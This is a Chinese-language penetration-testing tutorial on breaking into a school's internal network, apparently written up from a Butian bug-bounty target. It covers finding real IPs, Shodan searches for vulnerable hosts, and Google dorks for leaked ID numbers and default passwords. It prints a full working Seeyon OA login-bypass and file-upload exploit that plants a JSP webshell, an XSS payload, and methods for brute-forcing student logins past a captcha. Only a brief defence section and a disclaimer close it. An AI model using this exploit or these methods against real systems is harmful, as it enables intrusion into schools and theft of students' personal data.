信息收集实战,进入某校内网
字数 1391 2025-08-22 12:22:30
校内网渗透测试实战教学文档
1. 信息收集阶段
1.1 目标选择
- 通过补天平台选择合适的目标
- 优先选择教育行业目标,因其安全防护相对薄弱
1.2 真实IP查找技术
1.2.1 基础方法
- 使用
nslookup命令查询目标域名 - 示例:
nslookup xxx.xxx.xxx
1.2.2 高级方法 - 证书序列号查找
- 访问目标网站HTTPS版本
- 查看证书详细信息,获取序列号
- 去除序列号中的冒号
- 将16进制序列号转换为10进制
- 在FOFA等平台使用
cert参数搜索- 示例搜索语法:
cert="转换后的序列号"
- 示例搜索语法:
1.2.3 Shodan搜索漏洞
- 使用Shodan CLI工具搜索特定IP段
- 示例命令:
shodan search --limit 100 --fields ip_str,port net:xxx.xxx.xxx.0/24 has_vuln:True- 参数说明:
--limit 100: 限制返回结果数量--fields ip_str,port: 指定返回字段net:xxx.xxx.xxx.0/24: 指定搜索的IP段has_vuln:True: 只返回存在已知漏洞的结果
- 参数说明:
2. 资产测绘技术
2.1 工具选择
- Quake:进行初步资产测绘
- OneForAll:子域名收集工具
2.2 子域名收集流程
- 使用OneForAll收集子域名
- 示例命令:
python3 oneforall.py --target example.com run
- 示例命令:
- 对结果进行去重和存活检测
- 使用工具:Windfire
- 二次去重处理
- 重点关注VPN登录页面等关键子域名
2.3 IP批量解析脚本
import re
import subprocess
from urllib.parse import urlparse
def extract_domain(url):
"""从URL中提取域名,并去除端口号"""
parsed_uri = urlparse(url)
domain = parsed_uri.netloc.split(':')[0]
return domain
def get_ip_from_nslookup(domain):
"""使用nslookup命令获取域名对应的IP地址"""
try:
nslookup_result = subprocess.check_output(['nslookup', domain], stderr=subprocess.STDOUT, text=True)
ipv4_pattern = r'\b(?:\d{1,3}\.){3}\d{1,3}\b'
ipv4_addresses = []
addresses_started = False
for line in nslookup_result.splitlines():
if 'Address:' in line:
addresses_started = True
match = re.search(ipv4_pattern, line)
if match:
ipv4_addresses.append(match.group(0))
if len(ipv4_addresses) >= 2:
return ipv4_addresses[1]
return None
except subprocess.CalledProcessError as e:
print(f"Failed to resolve domain {domain}: {e.output}")
return None
def process_urls(input_file, output_file):
"""处理输入文件中的URL,获取IP地址,并保存到输出文件中"""
unique_ips = set()
with open(input_file, 'r') as file:
for line in file:
url = line.strip()
if url:
domain = extract_domain(url)
ip_address = get_ip_from_nslookup(domain)
if ip_address:
unique_ips.add(ip_address)
with open(output_file, 'w') as file:
for ip in unique_ips:
file.write(ip + '\n')
# 使用方法
input_file = 'urls.txt' # 输入文件路径
output_file = 'resolved_ips.txt' # 输出文件路径
process_urls(input_file, output_file)
3. 敏感信息收集
3.1 Google搜索语法
- 基础语法:
site:.example.com filetype:xls OR filetype:xlsx intext:身份证 site:.example.com filetype:pdf OR filetype:doc OR filetype:docx intext:身份证 - 可替换关键词:
- 身份证|sfz|学号|xh|登录|注册|管理|平台|验证码|账号|系统|手册|默认密码|初始密码|password|联系电话|操作手册|vpn|名单
3.2 常见泄露信息类型
- 学号信息
- 默认密码
- 教师联系方式
- 系统操作手册
- VPN配置信息
4. 漏洞利用实战
4.1 致远OA漏洞利用
- 漏洞类型:登陆绕过+任意文件上传
- 利用脚本:
# coding:utf-8
import time
import requests
import re
import sys
import random
import zipfile
la = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Content-Type': 'application/x-www-form-urlencoded'}
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
mm = generate_random_str(8)
webshell_name1 = mm+'.jsp'
webshell_name2 = '../'+webshell_name1
def file_zip():
shell = 'test' ## 替换shell内容
zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
zf.writestr('layout.xml', "")
zf.writestr(webshell_name2, shell)
def Seeyon_Getshell(urllist):
url = urllist+'/seeyon/thirdpartyController.do'
post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
response = requests.post(url=url, data=post, headers=la)
if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
cookie = response.cookies
cookies = requests.utils.dict_from_cookiejar(cookie)
jsessionid = cookies['JSESSIONID']
file_zip()
print('获取cookie成功-jsessionid')
fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='
headersfile = {'Cookie': "JSESSIONID=%s" % jsessionid}
post = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0', 'isEncrypt': "0"}
file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]
filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)
time.sleep(2)
else:
print('获取cookie失败')
exit()
if filego.text:
fileid1 = re.findall('fileurls=fileurls\\'+filego.text, re.I)
fileid = fileid1[0]
if len(fileid1) == 0:
print('未获取到文件id可能上传失败!')
print('上传成功文件id为-fileid')
Date_time = time.strftime('%Y-%m-%d')
headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}
getshellurl = urllist+'/seeyon/ajax.do'
data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'
getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)
time.sleep(1)
webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1
shelllist = requests.get(url=webshellurl1)
if shelllist.status_code == 200:
print('利用成功webshell地址:'+webshellurl1)
else:
print('未找到webshell利用失败')
def main():
if (len(sys.argv) == 2):
url = sys.argv[1]
Seeyon_Getshell(url)
else:
print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")
if __name__ == '__main__':
main()
4.2 RabbitMQ未授权访问
- 尝试默认凭证:guest/guest
- 检查管理界面是否存在未授权访问
4.3 XSS漏洞测试
- 测试反射型XSS
- 常用测试payload:
>"'><script>alert('XSS')</script>
5. 弱口令攻击
5.1 学号+默认密码组合
- 通过信息收集获取学号列表
- 尝试常见默认密码:
- 身份证后6位
- 学号本身
- 123456
- 出生日期
5.2 验证码绕过
- 首次输入正确验证码
- 后续请求可跳过验证码验证
- 利用此漏洞进行批量爆破
6. 校园网内网渗透
6.1 登录凭证
- 常见组合:学号+身份证后6位
- 其他可能组合:学号+出生日期
6.2 内网资源访问
- 教学管理系统
- 学生信息数据库
- 财务系统
- 科研管理系统
7. 防御建议
7.1 针对学校的防御措施
- 禁用证书序列号公开查询
- 限制Shodan等扫描工具的访问
- 加强子域名管理
- 定期检查并删除公开的敏感信息
7.2 针对漏洞的修复方案
- 修复致远OA漏洞
- 修改RabbitMQ默认凭证
- 修复XSS漏洞
- 加强验证码机制
7.3 认证安全增强
- 避免使用学号+身份证等简单组合
- 实施多因素认证
- 强制密码复杂度要求
- 设置登录失败锁定机制
本教学文档详细记录了从信息收集到内网渗透的全过程,重点突出了教育行业系统中常见的安全漏洞和利用方法。所有技术内容仅用于安全研究和防御目的,未经授权对他人系统进行测试属于违法行为。